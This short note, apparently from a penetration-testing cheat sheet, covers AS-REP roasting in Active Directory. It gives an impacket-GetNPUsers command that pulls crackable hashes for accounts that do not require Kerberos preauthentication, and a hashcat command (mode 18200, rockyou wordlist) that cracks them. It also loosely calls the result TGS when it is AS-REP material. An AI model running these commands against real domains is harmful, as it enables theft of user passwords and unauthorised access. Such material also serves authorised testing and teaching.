List users with `DONT_REQUIRE_PREAUTH` and request TGS for them:
impacket-GetNPUsers domain/ -no-pass -usersfile users -dc-ip <IP>
Don't forget the `-dc-ip`!
With hashcat:
hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
Last updated 2 years ago
